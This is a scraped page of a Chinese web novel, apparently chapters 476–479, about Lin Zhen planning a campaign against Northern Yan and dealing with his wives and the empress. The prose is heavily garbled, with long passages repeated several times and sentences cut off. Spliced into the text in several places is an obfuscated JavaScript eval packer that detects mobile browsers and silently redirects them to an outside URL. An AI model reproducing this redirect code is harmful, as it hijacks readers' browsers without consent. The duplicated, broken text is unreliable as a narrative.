二十五岁参加工作,二十年的时间,凭借自己的实力能上任副处就已经是普通人的极限了。 但如果殷勤伺候领导二十年,就有可能会去厅级单位担任闲职,而后再调任领导岗位。 至于今后能不能进步,那就看自己了。 林臻不知道为什么,总觉得林大拿好像有什么心事,不过他也没追问,直接走进房间里。 老爷子站在沙盘前面,这是他每天都要做一遍的事情,甚至有时候会看很久。 林臻走过去,双手作揖:“参见祖父。” “臻儿?你什么时候回来的?” “刚回来。” “棒子那边都整顿好了?” “是,博望县铁矿已经由我们自由开发,而且孙儿还结实了当地的官员,配合不错。” “哈哈哈哈。”老爷子哈哈大笑,很是开心,“不愧是老夫的孙子,就是有本事!拿一文不值的破酒换铁,这买卖划算得很啊!” ,末将只要回来了。” 身边人总是越用越熟的,林震仙不习惯也正常。 不过也好,跟着林震仙,进步的肯定比在军营里更快,只是权力稍小而已。 不是有那么句话吗?爬得最快的方法不是参加国考,而是当省长的司机。 大官退休前,只要不是特别操蛋的那种,基本都会把跟在他身边的人安排好。 二十五岁参加工作,二十年的时间,凭借自己的实力能上任副处就已经是普通人的极限了。 但如果殷勤伺候领导二十年,就有可能会去厅级单位担任闲职,而后再调任领导岗位。 至于今后能不能进步,那就看自己了。 林臻不知道为什么,总觉得林大拿好像有什么心事,不过他也没追问,直接走进房间里。 老爷子站在沙盘前面,这是他每天都要做一遍的事情,甚至有时候会看很久。 林臻走过去,双手作揖:“参见祖父。” “臻儿?你什么时候回来的?” “刚回来。” “棒子那边都整顿好了?” “是,博望县铁矿已经由我们自由开发,而且孙儿还结实了当地的官员,配合不错。” “哈哈哈哈。”老爷子哈哈大笑,很是开心,“不愧是老夫的孙子,就是有本事!拿一文不值的破酒换铁,这买卖划算得很啊!” ,末将只要回来了。” 身边人总是越用越熟的,林震仙不习惯也正常。 不过也好,跟着林震仙,进步的肯定比在军营里更快,只是权力稍小而已。 不是有那么句话吗?爬得最快的方法不是参加国考,而是当省长的司机。 大官退休前,只要不是特别操蛋的那种,基本都会把跟在他身边的人安排好。 二十五岁参加工作,二十年的时间,凭借自己的实力能上任副处就已经是普通人的极限了。 但如果殷勤伺候领导二十年,就有可能会去厅级单位担任闲职,而后再调任领导岗位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15491628|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 至于今后能不能进步,那就看自己了。 林臻不知道为什么,总觉得林大拿好像有什么心事,不过他也没追问,直接走进房间里。 老爷子站在沙盘前面,这是他每天都要做一遍的事情,甚至有时候会看很久。 林臻走过去,双手作揖:“参见祖父。” “臻儿?你什么时候回来的?” “刚回来。” “棒子那边都整顿好了?” “是,博望县铁矿已经由我们自由开发,而且孙儿还结实了当地的官员,配合不错。” “哈哈哈哈。”老爷子哈哈大笑,很是开心,“不愧是老夫的孙子,就是有本事!拿一文不值的破酒换铁,这买卖划算得很啊!” ,末将只要回来了。” 身边人总是越用越熟的,林震仙不习惯也正常。 不过也好,跟着林震仙,进步的肯定比在军营里更快,只是权力稍小而已。 不是有那么句话吗?爬得最快的方法不是参加国考,而是当省长的司机。 大官退休前,只要不是特别操蛋的那种,基本都会把跟在他身边的人安排好。 二十五岁参加工作,二十年的时间,凭借自己的实力能上任副处就已经是普通人的极限了。 但如果殷勤伺候领导二十年,就有可能会去厅级单位担任闲职,而后再调任领导岗位。 至于今后能不能进步,那就看自己了。 林臻不知道为什么,总觉得林大拿好像有什么心事,不过他也没追问,直接走进房间里。 老爷子站在沙盘前面,这是他每天都要做一遍的事情,甚至有时候会看很久。 林臻走过去,双手作揖:“参见祖父。” “臻儿?你什么时候回来的?” “刚回来。” “棒子那边都整顿好了?” “是,博望县铁矿已经由我们自由开发,而且孙儿还结实了当地的官员,配合不错。” “哈哈哈哈。”老爷子哈哈大笑,很是开心,“不愧是老夫的孙子,就是有本事!拿一文不值的破酒换铁,这买卖划算得很啊!” ,末将只要回来了。” 身边人总是越用越熟的,林震仙不习惯也正常。 不过也好,跟着林震仙,进步的肯定比在军营里更快,只是权力稍小而已。 不是有那么句话吗?爬得最快的方法不是参加国考,而是当省长的司机。 大官退休前,只要不是特别操蛋的那种,基本都会把跟在他身边的人安排好。 二十五岁参加工作,二十年的时间,凭借自己的实力能上任副处就已经是普通人的极限了。 但如果殷勤伺候领导二十年,就有可能会去厅级单位担任闲职,而后再调任领导岗位。 至于今后能不能进步,那就看自己了。 林臻不知道为什么,总觉得林大拿好像有什么心事,不过他也没追问,直接走进房间里。 老爷子站在沙盘前面,这是他每天都要做一遍的事情,甚至有时候会看很久。 林臻走过去,双手作揖:“参见祖父。” “臻儿?你什么时候回来的?” “刚回来。” “棒子那边都整顿好了?” “是,博望县铁矿已经由我们自由开发,而且孙儿还结实了当地的官员,配合不错。” “哈哈哈哈。”老爷子哈哈大笑,很是开心,“不愧是老夫的孙子,就是有本事!拿一文不值的破酒换铁,这买卖划算得很啊!” ,末将只要回来了。” 身边人总是越用越熟的,林震仙不习惯也正常。 不过也好,跟着林震仙,进步的肯定比在军营里更快,只是权力稍小而已。 不是有那么句话吗?爬得最快的方法不是参加国考,而是当省长的司机。 大官退休前,只要不是特别操蛋的那种,基本都会把跟在他身边的人安排好。 二十五岁参加工作,二十年的时间,凭借自己的实力能上任副处就已经是普通人的极限了。 但如果殷勤伺候领导二十年,就有可能会去厅级单位担任闲职,而后再调任领导岗位。 至于今后能不能进步,那就看自己了。 林臻不知道为什么,总觉得林大拿好像有什么心事,不过他也没追问,直接走进房间里。 老爷子站在沙盘前面,这是他每天都要做一遍的事情,甚至有时候会看很久。 林臻走过去,双手作揖:“参见祖父。” “臻儿?你什么时候回来的?” “刚回来。” “棒子那边都整顿好了?” “是,博望县铁矿已经由我们自由开发,而且孙儿还结实了当地的官员,配合不错。” “哈哈哈哈。”老爷子哈哈大笑,很是开心,“不愧是老夫的孙子,就是有本事!拿一文不值的破酒换铁,这买卖划算得很啊!” 第476章 我可真该死啊 知道古人喜欢吹牛林震仙也不例外但凡林臻做些什么有成绩的时候他就喜欢和别人吹牛说“不愧是老夫的孙子”。 林臻对此当然不会反驳。 他注意到老爷子还在看太行山地区的地形图说道:“祖父还在想太行的事情?” 林震仙收回笑容沉吟着点点头拿起小木棍指着北燕最东面的雁门关。 “北燕拓跋皇帝这段时间一直在往雁门关增兵老夫怀疑他们想要再次东进。臻儿你怎么看?” 林臻笑着摇摇头:“不会的。” “嗯?”老爷子很疑惑“你为何如此笃定?那拓跋老贼是最善战的东进的可能性很大。” “祖父有所不知拓跋这次往雁门关增兵其主要目的有二。其一是震慑他们不希望我们在这个节骨眼上趁机偷袭 “剿匪?剿匪需要出动这么多军队?雁门关是北燕与大乾的咽喉地带哪来那么多土匪啊?” 老爷子有些懵。 按照以前的逻辑雁门关匪患其实并不少但都不成气候根本没必要派大规模军队去剿。所以他才觉得北燕这次是想东进。 林臻露出神秘的微笑一转头从青竹手里接过来茶盏。 正准备喝谁知道老爷子急得一巴掌拍在他后脑勺上。 啪—— “噗!!”林臻满口茶汤都喷在了沙盘上“咳咳咳咳!” “小王八蛋敢在老夫面前卖关子赶紧说!” 老头是个急性子当然受不了林臻这死出。 林臻说道:“因为土匪是我派去的。” “什么?你派去的?”林震仙张大龙嘴连里面焦黄的后槽牙都看得清清楚楚。 林臻再次点头将事情和盘托出:“没错就是在对南楚作战时战功卓越却不受封的陈宵。这是个闲不住的家伙在京城里当官非出事不可于是孙儿就擅自做主命令兵部将其派遣到太行山国界。没事骚扰骚扰北燕打家劫舍。不过以北燕这次的动静来看应该是陈宵做得太过分了。” “那你打算怎么办?这么多军队就算陈宵三头六臂也挡不住。” “我早就给陈宵去了书信一旦北燕大规模动兵我们就趁机进攻他们首都云中里应外合一举吞并北燕。” “吞并北燕.”林震仙目光再次看向几十年令他心心念念的太行山。 这里有他的遗憾也有对未来的 雄心。 可末了,他还是长叹一声:“唉,想吞并北燕,谈何容易?光是一座雁门关天堑,就要折损无数兵马,臻儿,此举不妥啊。” “祖父担心的无非就是雁门关而已,但我们为什么要走雁门关呢?绕过去不行吗?” “绕过去?”林震仙懵了,满脸不可思议地看着他,“怎么绕?从人家韩国地界走?韩天鸿是不会同意这样离谱的要求的。” “当然不能从韩国走,但是如果走秦国呢?” “我们和秦国不接壤啊。” “谁说不接壤的?”林臻一把抢过林震仙手里的小木棍,指着秦国太原郡说道。 “十五年前,秦国倾尽全国之力与韩国开战,最终占领太原西边一半的土地。然而这一战也让秦国元气大伤,十几年过去依旧没有缓过来。但好处是流入我大乾的沱河,归秦国管辖,也就是说我们在沱河上乘舟西进,从太原起兵,继而北上进攻。” “嘶” 林震仙沉吟道:“如果真按你所说,那我们进攻北燕的事情就可以神不知鬼不觉。等拓跋反应过来,我们已经兵临城下。如果他想把雁门关的军队撤回来,我们就大举进攻雁门关,东西夹击!凭我们的实力,用不了三个月,北燕必定灭亡!” “没错。” “好!哈哈哈哈哈!”林震仙开心地直拍桌子,仰天长啸,末了居然还带着几分请教意思地问:“臻儿,这次老夫打算做先锋军,带兵坐船西进,你觉得怎么样?” “没问题啊,武清那边大船已经准备好了,十艘船足够承载两万大乾将士。” “这么多?该不会是准备给婉儿找药的海船吧?” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15497203|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是海船,海船在沱河上根本走不通,是战船。” “好!既然如此,老夫这就去准备,你立刻进宫去见陛下,把事情始末说完,请旨动兵。” “是。” 林臻不知道林震仙打算让谁去雁门关,估计不是王铁男就是周泽他们。 不过在林臻看来,王铁男的可能性最大。因为在京城里就他这一个闲散将军。 倒不是林震仙舍不得给他官职,而是王铁男根本不要,甚至还说,官职越大,责任越大,胖子惹的祸也就越大。 林臻深以为然,所以上次战争结束,他便向慕容嫣请旨,给王铁男封了国公。 这样他不用做什么具体的工作,就可以在家里养老。 林震仙迫不及待的去找那些老战友商量进攻的事情,林臻则是回到内院。 这段时间婉儿的身体很差,急需灵丹妙药来补。可即便如此,家里的事情她依旧事无巨细,亲自负责。林臻回来的时候,她正躺在床榻上看林安送过来的账本。 她声音微弱,却带着几分不容置疑的威严:“不对,家里丫鬟小厮一共才三百六十二个人嗯,最大的丫头月钱不过一两,小丫头才三钱。这里怎么会花销六百五十两?你立刻去调查,看看到底是哪里出现问题,我们家虽然有钱,但钱也不是这么乱花的。调查明白后,立刻来报.咳咳咳咳!” “是夫人,您您还是要注意休息啊。”林安看着婉儿这操劳的样子都有些心疼。 可婉儿只是摇摇头:“不碍事,算算日子夫君也快回来了,咳咳咳。” 看到这一幕,林臻忽然有些愧疚。 婉儿为了家庭带病操劳。 自己却在外面偷腥,和双胞胎玩捆绑。 我可真该死啊 “婉儿!” 两人听到声音,齐齐望向门口。 林安立刻作揖:“世子,您回来了。” “嗯,婉儿,你身体怎样了?”林臻简单点点头,便坐到婉儿的床边。 林安很识趣的退了出去。 第477章 乖乖吃药 婉儿见到林臻就笑靥如花,即便那张俏脸早已经苍白如纸,惹人心疼。 林臻靠在床头边,从后面把她紧紧搂住。 对女孩子来讲,这个是最有安全感的姿势,婉儿顿时浑身放松下来。 林臻可以深切感觉到婉儿的身体非常凉。 而且凉得很不正常。 就像个**。 不管林臻怎么抱着她,她的体温都没有丝毫变化。 婉儿觉得有些奇怪,反问道:“夫君这是怎么了?为何抱得这般紧?” “什么也别说,吃药。” “啊?”婉儿张着小嘴微微一愣,目光不自觉地望向外面,“这大白天的怎么吃啊?” “别管那些,让你吃就吃。”林臻不由分说,直接对外面喊道,“关门!一帮没眼力见的。” 丫鬟立刻将门关好。 林臻说道:“婉儿,以后我再也不会长时间离家了,直到你病好。” “这怎么行?妾身哪有夫君的宏图霸业重要?您还是该做什么就做什么,千万不要因为妾身就耽误正事啊。” 林臻按住婉儿的头,霸气地说道:“给你治病才是正事!少废话,赶紧吃药。” “唔” 该说不说,这噬心蛊的作用真是神奇。 本来很像病入膏肓的婉儿在吃完药以后竟然恢复了少许神采,双腿又变得有力起来。 不过林臻没那么狠心折腾她,而是让她安安静静的睡一觉,自己则是准备去宫里向慕容嫣请旨。 对北燕的征战是林臻早就策划好的,诸多细节早就已经安排下去,剩下的就是需要慕容嫣点点头,下一道圣旨。 谁料林臻刚出门,就见胖子风风火火地骑马而来。尚未到近前,便纵身一跃。 “大哥!”胖子满脸兴奋,好像要娶媳妇了,“听说要打仗了?胖爷必须得当这个先锋!否则我就不认你这个大哥了!” 林臻没好气地踢他一脚:“你急什么?一听说要**就急,没出息。这次先锋军是王爷亲自带队,你要能说动王爷带你一起去,我不管。但是我很好奇,你是怎么知道的?” “王爷就在我家啊!说这次雁门关鏖战让我爹出任元帅,他们俩先后夹击北燕。” “老爷子速度够快的.行吧。这次打仗由王爷全权指挥,你要想当先锋自己去找他。我还有事情要进宫呢。” “知道了!” 胖子答应一声,又风风火火地上马回家。 好家伙。 到底是好战分子,听说要打仗,连怀孕的老婆都不顾了。 也罢。 侯春牵来马车,林臻坐上去,直奔皇宫。 因为婉儿做主让顾缜住进王府,这后宫里能和司马椿蕾说话的人就更少了。 那些进宫的女子见到她就像老鼠见到猫似的,能躲就躲,即便要办公事也是说完就离开,满脸的刻板。 久而久之,司马椿蕾就觉得生活索然无味。 这天,她自己一个人在宫里,雪琪跪在她脚边有一下没一下地给她捶腿,半打着瞌睡。 忽然,一个小宫女跑了进来。 “娘娘!娘娘!” 司马椿蕾正闭目养神,听到喊叫,睁开眼望去:“何事慌张?” “世子,世子进宫来了!” “真的!?他回来了?”司马椿蕾立刻睡意全无,坐直身体。 小宫女止不住地点头:“没错,而且世子直奔这里来了,估计这会儿已经到后宫了。” “快,快来人给本宫梳洗!”司马椿蕾见雪琪睡得直流口水,没好气地在她手臂里面狠狠掐了一下。 “啊!!”手臂里侧的嫩肉是最疼的,雪琪一声惨叫。 “死妮子,一天到晚就知道睡!睡!夫君都回来了,还不赶紧给本宫换衣服迎接!” “哦,是!”雪琪扭曲着脸不断揉手臂,连忙跑去里屋。 可谁知道,她刚把盛装拿出来,林臻就已经站在门口了。 周围不管是太监还是宫女,都立刻下跪叩首。 “参见世子。” 林臻点点头:“嗯,都出去吧。” “是!” 所有人悉数退下,独留司马椿蕾愣愣地坐在那里。 她有些懵,心说夫君来得也太快了,自己还没换衣服呢。 林臻走过来,笑道:“怎么?几日不见,竟不认得为夫了?” “臣妾不敢,只是您来得好快,妾身还没来得及换衣服呢。” “我就知道你肯定会盛装打扮,所以特意快走了几步。你我夫妻之间还在乎那些做什么?再者,我的椿儿不管什么时候都是那么好看。” 说着林臻坐在司马椿蕾旁边,单手捏住她精致的下巴。 那双饱含秋波的双眸让林臻怎么也看不够,鬼使神差的,林臻在她红唇上轻轻一吻。 这一下更是触动了司马椿蕾的心房,她反手搂住林臻的脖子用力索取,很快便骑到他肚子上。 “夫君,臣妾好想您.” “ 我知道。” 其实这么多女人中,林臻对司马椿蕾和顾缜的疼爱是最少的。 顾缜不用说,那就是个死鱼的性子,疼不疼她都不是很在乎。但是司马椿蕾是在乎的,而且非常在乎。 她非常在意林臻是否疼爱她,可偏偏林臻总是不来。 她也知道,自己身处皇宫,总理后宫诸多事宜,不可能会像其他姐妹一般跟着林臻在王府生活,更何况她毕生梦想就是能当皇后。 她终究还是不愿意放弃的。 可刚刚这一瞬间,她真希望林臻也可以把她带回王府去,每日恩爱,天天见面。 “椿儿,这段时间委屈你了。”接吻之余,林臻忽然说出这句话,让司马椿蕾瞬间红了眼睛。 她停下动作,摇了摇头:“不委屈,这是臣妾的选择。” “所以我今天来是准备告诉你,是时候出任皇后了。” “啊?真的吗?夫君上次还说不是时候呢。” “其实早就是时候了,但为了嫣儿的身份和群臣的意见,所以才拖到今天。如今大乾内外团结一致,不管是嫣儿还是我,在民间声望很高,所以我也该满足你的梦想了。就当是你这段时间独守后宫的奖励。” 司马椿蕾激动得浑身颤栗。 终于。 这一天终于要来了。 我知道。” 其实这么多女人中,林臻对司马椿蕾和顾缜的疼爱是最少的。 顾缜不用说,那就是个死鱼的性子,疼不疼她都不是很在乎。但是司马椿蕾是在乎的,而且非常在乎。 她非常在意林臻是否疼爱她,可偏偏林臻总是不来。 她也知道,自己身处皇宫,总理后宫诸多事宜,不可能会像其他姐妹一般跟着林臻在王府生活,更何况她毕生梦想就是能当皇后。 她终究还是不愿意放弃的。 可刚刚这一瞬间,她真希望林臻也可以把她带回王府去,每日恩爱,天天见面。 “椿儿,这段时间委屈你了。”接吻之余,林臻忽然说出这句话,让司马椿蕾瞬间红了眼睛。 她停下动作,摇了摇头:“不委屈,这是臣妾的选择。” “所以我今天来是准备告诉你,是时候出任皇后了。” “啊?真的吗?夫君上次还说不是时候呢。” “其实早就是时候了,但为了嫣儿的身份和群臣的意见,所以才拖到今天。如今大乾内外团结一致,不管是嫣儿还是我,在民间声望很高,所以我也该满足你的梦想了。就当是你这段时间独守后宫的奖励。” 司马椿蕾激动得浑身颤栗。 终于。 这一天终于要来了。 我知道。” 其实这么多女人中,林臻对司马椿蕾和顾缜的疼爱是最少的。 顾缜不用说,那就是个死鱼的性子,疼不疼她都不是很在乎。但是司马椿蕾是在乎的,而且非常在乎。 她非常在意林臻是否疼爱她,可偏偏林臻总是不来。 她也知道,自己身处皇宫,总理后宫诸多事宜,不可能会像其他姐妹一般跟着林臻在王府生活,更何况她毕生梦想就是能当皇后。 她终究还是不愿意放弃的。 可刚刚这一瞬间,她真希望林臻也可以把她带回王府去,每日恩爱,天天见面。 “椿儿,这段时间委屈你了。”接吻之余,林臻忽然说出这句话,让司马椿蕾瞬间红了眼睛。 她停下动作,摇了摇头:“不委屈,这是臣妾的选择。” “所以我今天来是准备告诉你,是时候出任皇后了。” “啊?真的吗?夫君上次还说不是时候呢。” “其实早就是时候了,但为了嫣儿的身份和群臣的意见,所以才拖到今天。如今大乾内外团结一致,不管是嫣儿还是我,在民间声望很高,所以我也该满足你的梦想了。就当是你这段时间独守后宫的奖励。” 司马椿蕾激动得浑身颤栗。 终于。 这一天终于要来了。 我知道。” 其实这么多女人中,林臻对司马椿蕾和顾缜的疼爱是最少的。 顾缜不用说,那就是个死鱼的性子,疼不疼她都不是很在乎。但是司马椿蕾是在乎的,而且非常在乎。 她非常在意林臻是否疼爱她,可偏偏林臻总是不来。 她也知道,自己身处皇宫,总理后宫诸多事宜,不可能会像其他姐妹一般跟着林臻在王府生活,更何况她毕生梦想就是能当皇后。 她终究还是不愿意放弃的。 可刚刚这一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾缜不用说,那就是个死鱼的性子,疼不疼她都不是很在乎。但是司马椿蕾是在乎的,而且非常在乎。 她非常在意林臻是否疼爱她,可偏偏林臻总是不来。 她也知道,自己身处皇宫,总理后宫诸多事宜,不可能会像其他姐妹一般跟着林臻在王府生活,更何况她毕生梦想就是能当皇后。 她终究还是不愿意放弃的。 可刚刚这一瞬间,她真希望林臻也可以把她带回王府去,每日恩爱,天天见面。 “椿儿,这段时间委屈你了。”接吻之余,林臻忽然说出这句话,让司马椿蕾瞬间红了眼睛。 她停下动作,摇了摇头:“不委屈,这是臣妾的选择。” “所以我今天来是准备告诉你,是时候出任皇后了。” “啊?真的吗?夫君上次还说不是时候呢。” “其实早就是时候了,但为了嫣儿的身份和群臣的意见,所以才拖到今天。如今大乾内外团结一致,不管是嫣儿还是我,在民间声望很高,所以我也该满足你的梦想了。就当是你这段时间独守后宫的奖励。” 司马椿蕾激动得浑身颤栗。 终于。 这一天终于要来了。 我知道。” 其实这么多女人中,林臻对司马椿蕾和顾缜的疼爱是最少的。 顾缜不用说,那就是个死鱼的性子,疼不疼她都不是很在乎。但是司马椿蕾是在乎的,而且非常在乎。 她非常在意林臻是否疼爱她,可偏偏林臻总是不来。 她也知道,自己身处皇宫,总理后宫诸多事宜,不可能会像其他姐妹一般跟着林臻在王府生活,更何况她毕生梦想就是能当皇后。 她终究还是不愿意放弃的。 可刚刚这一瞬间,她真希望林臻也可以把她带回王府去,每日恩爱,天天见面。 “椿儿,这段时间委屈你了。”接吻之余,林臻忽然说出这句话,让司马椿蕾瞬间红了眼睛。 她停下动作,摇了摇头:“不委屈,这是臣妾的选择。” “所以我今天来是准备告诉你,是时候出任皇后了。” “啊?真的吗?夫君上次还说不是时候呢。” “其实早就是时候了,但为了嫣儿的身份和群臣的意见,所以才拖到今天。如今大乾内外团结一致,不管是嫣儿还是我,在民间声望很高,所以我也该满足你的梦想了。就当是你这段时间独守后宫的奖励。” 司马椿蕾激动得浑身颤栗。 终于。 这一天终于要来了。 第478章 摆什么谱啊? 年少时的愿望是难实现的,因为它代表着不成熟,不切实际与少年心底最深的梦想。 就像林臻。 因为小时候看龙叔的电影,所以他喜欢自己长大以后可以当一名警察。 这个梦想持续了很多年,但是因为高考失利与警校失之交臂,最终只能含泪考公当领导。 略微有点装。 哦对,现在不流行说装逼了,都叫凡尔赛。 但说实话,如果有选择,林臻还是想当一名警察。这就是儿时的愿望,得不到才最想要。 当皇后母仪天下,就是司马椿蕾儿时的梦想,多年来也确实在为这个梦想而努力。 但世事弄人,当今皇帝竟然是位女子,她没办法怀上龙种而成为皇后,最后竟然还被她一直以来最讨厌的纨绔给睡了。 可以说Debuff已经叠满了,可是谁能想到,这个纨绔居然是真正掌握着国家大权的人。 他说让司马椿蕾的父亲出任丞相,立刻就能实现;他说让司马椿蕾成为皇后,也立刻就能实现。 所以说,当皇后就是司马椿蕾的命。 这人啊,有时候不信命真的不行。 就这样,林臻在司马椿蕾的寝宫里一直待到晚上,至于做什么就不用表述了,懂得都懂。 议政殿内。 慕容嫣把面前都奏折都翻烂了,但是根本没心思看,目光时不时地飘向黑漆漆地殿外,似乎在等待着什么。 “可恶的林臻,回来第一件事居然不是来看朕!” “果然啊,男人都是有了新人忘旧人!” “花心大萝卜!讨厌!讨厌**!” 慕容嫣烦躁地把奏折扔在面前的凤案上,独自一个人靠在凤椅上喘着粗气。 周围太监、宫女大气都不敢出,生怕触了她的霉头。 陛下现在可是一言九鼎啊,这皇宫里说杀谁就杀谁,前阵子因为一名宫女不小心打湿了她的凤袍,直接就被拉下去砍了。 夜越来越深,无舌觉得时间差不多了,于是便挥舞下拂尘,转身对慕容嫣躬身道:“陛下,夜深了,该休息了。” “不,朕今天就在这等他!朕倒要看看,他心里还有没有朕!” 女人向来都是较真儿的,即便是慕容嫣也不例外。 谁都想得到林臻更多的恩宠。 可林臻偏偏故意晾着她。 因为慕容嫣最近事情做得有点过了,这就是恃宠而骄的结果。 若不立点规矩,以后这国家恐怕要 完蛋。 殿外面林臻步伐沉稳地走在宫道上衣襟掀起沙沙声。 略过的树叶冒出新鲜的枝桠不知不觉中春天已经悄然来临太监宫女也不再穿着厚重的冬衣而是披着崭新的宫廷制式披风。 也不知道是谁设计的这披风很好看但看材质应该不是丝绸倒像是段子面。 太监穿藏蓝色宫女穿粉红色。 太监站左边宫女站右边形成两支队伍提着五盏宫灯徐徐前进陪伴着林臻。 夜幕之下宛若一道小小的长龙。 林臻见自己身边的小太监有些面熟于是问道:“你是小圆子?” 小圆子回答:“是世子。” “呵呵呵老太监无舌的唯一弟子是你吧?” “世子记性真好确实是奴才。” “不错那按道理讲你也应该姓慕容才对你全名叫什么?” “慕容圆方。” “好名字没想到无舌不仅武艺高强还颇有文采。” 小圆子笑道:“呵呵呵世子想错了奴才这名字是师父找算命先生给起的。” 林臻:. 好家伙我就说无舌不可能有这才华嘛。 而且他这个徒弟和他本人一样很喜欢把天聊死。 小圆子好像知道自己不该说刚才那句忙又说道:“世子奴才见陛下今天心情不太好您待会儿.” “我自有分寸带路吧。” 石板路被宫灯照得发亮转眼间议政殿已经近在眼前。 曾经在殿宇上盘旋狰狞的金龙已经不复存在 慕容嫣还真是喜欢凤凰啊。 大殿门口无数侍卫站岗慕容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503270|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无舌正站在那里翘首以盼。当看见林臻的队伍来了之后连忙跑过来态度很是焦急。 “世子您可来了!”无舌一把年纪难为他了。 林臻笑道:“你这是干什么?什么事情这么着急啊?” “世子不是老奴多嘴您进了宫第一件事怎么也是该来看看陛下啊。此刻她老人家正发火呢!” “发火就发火呗你觉得我怕她?” “您是不怕可老奴受不了啊。”无舌又心有余悸地看了眼议政殿那深邃的大门满脸狡诈的道:“这样您先去里面顶着老奴回去换身衣服很快就回来!!” 说完他招呼自己徒弟和一众马仔急匆匆的就走了。 林臻有些摸不着头脑。 不就是吃醋了么?至于这个样子? 林臻不屑地撇撇嘴,迈步走进殿内。 刚刚进门,就见到慕容嫣脸色黑得像锅底,不动如山地坐在凤椅上,一双美眸此刻充满怒火,死死盯着林臻。 最后,她嘴角牵起一丝冷笑,阴阳怪气地说道:“呵,怎么?林大世子舍得来朕的宫里了?” “你怎么一副喝了醋的样子?”林臻表情很是轻松,显然没把暴怒的慕容嫣放在眼里。 他缓走几步,来到属于自己的那张办公桌后面坐下,头枕双手,双脚搭在桌子上。 慕容嫣见他一副理直气壮的样子,更是气得脖子通红。 “林臻!你眼里到底还有没有我!” “有啊。” “那你为何现在才来?你知不知道我”后半句矫情的话被她硬生生咽了下去。 林臻玩笑着说道:“知道你什么?你在等我?” “呸!朕岂会等你这种小人!” “我小?开什么玩笑,我小不小你还不知道?” “朕说的是小人!”慕容嫣知道他在说什么,但已经尝尽夫妻味道的她早就不会脸红了。 但脖子是红的。 气的。 林臻还是那副轻松的笑意:“行了行了,跟我摆什么谱啊?要不是心软,你以为我今天会来见你?” 第479章 仔细瞧瞧? “你什么意思?” “什么意思.呵呵呵。” 林臻从来没有对慕容嫣如此冷笑过,这让后者心里很不舒服。 那一瞬间,她觉得自己好像真的做错了什么事情。 林臻说道:“我问你,罢黜翰林院,设立女倌,以女子为天下之师。是你的主意吧?” “没错。”慕容嫣回答得很干脆,“翰林院已经名存实亡,朕罢黜有何不妥?女子苦了千百年,做你们男人的附属品,为你们生孩子,难道现在给点地位还不行了?” “当然不行!”林臻站起来,“你考虑提高女子地位我从来没有反对过,但你居然要立女倌!” “女倌不是你让我立的吗?” “我们说的根本不是一个女倌!我说你可以让女子参加科考,可以当官,但是要循序渐进。我说的女倌是暂时听政的,不是当天下人老师的!你这样会引来所有世家大族的反弹你知道吗?男子为尊已经有千百年,你突然要改,你觉得谁会同意?难不成你真觉得天下都是你的了?你想怎么样就可以怎么样?” 慕容嫣同样据理力争,甚至也从凤椅上站起来。 两人一个在台上一个在台下,争辩不休。 “朕是皇帝!朕就是拥有无上的权力!朕这样做不是为了一己私利,而是为了天下女子!” “但是你这样做只会招来横祸!除非你去让女子上战场,女子从事重体力劳动,否则江山社稷定要万劫不复!” “为什么!” “因为所有人都不会同意!包括老百姓!现在大乾和谐稳定,你想推行各种政策都可以。但是我和你说过,任何事情都不能操之过急,否则一定会遭到反噬!你罢黜百兽,独尊凤凰,已经招来很多名家大儒的反对,他们在民间积蓄力量,蛊惑百姓,就是想要推翻你!幸好目前百姓丰衣足食,否则你认为大乾江山还能坚持几年?皇帝是你这么做的吗?连我都不敢随随便便推行新政,你可倒好,想一出是一出,全然不顾大臣反对,一意孤行,甚至还瞒着我命令报社登报,让全国所有百姓看皇族的笑话!看我们的笑话!” 林臻说这些话都时候眼眶通红。 可见他真是对慕容嫣极其失望。 而慕容嫣呢?她被林臻怼得哑口无言,只能不甘心地攥着粉拳,一副要**,又要撒娇哭泣的样子。 林臻心软,见不得她这样。 都是自己老婆,更何况慕容嫣还是自己名义上的妻子。 时间仿佛静止,空气中带着几丝凝重 。 良久,慕容嫣才说道:“那你说怎么办?” “找个大臣砍了,告知天下,报社中所说的女倌,女子为天下之师等等事情都是大臣一手操弄的。” “你可真狠心。” “不然呢?等着大乾被推翻?” 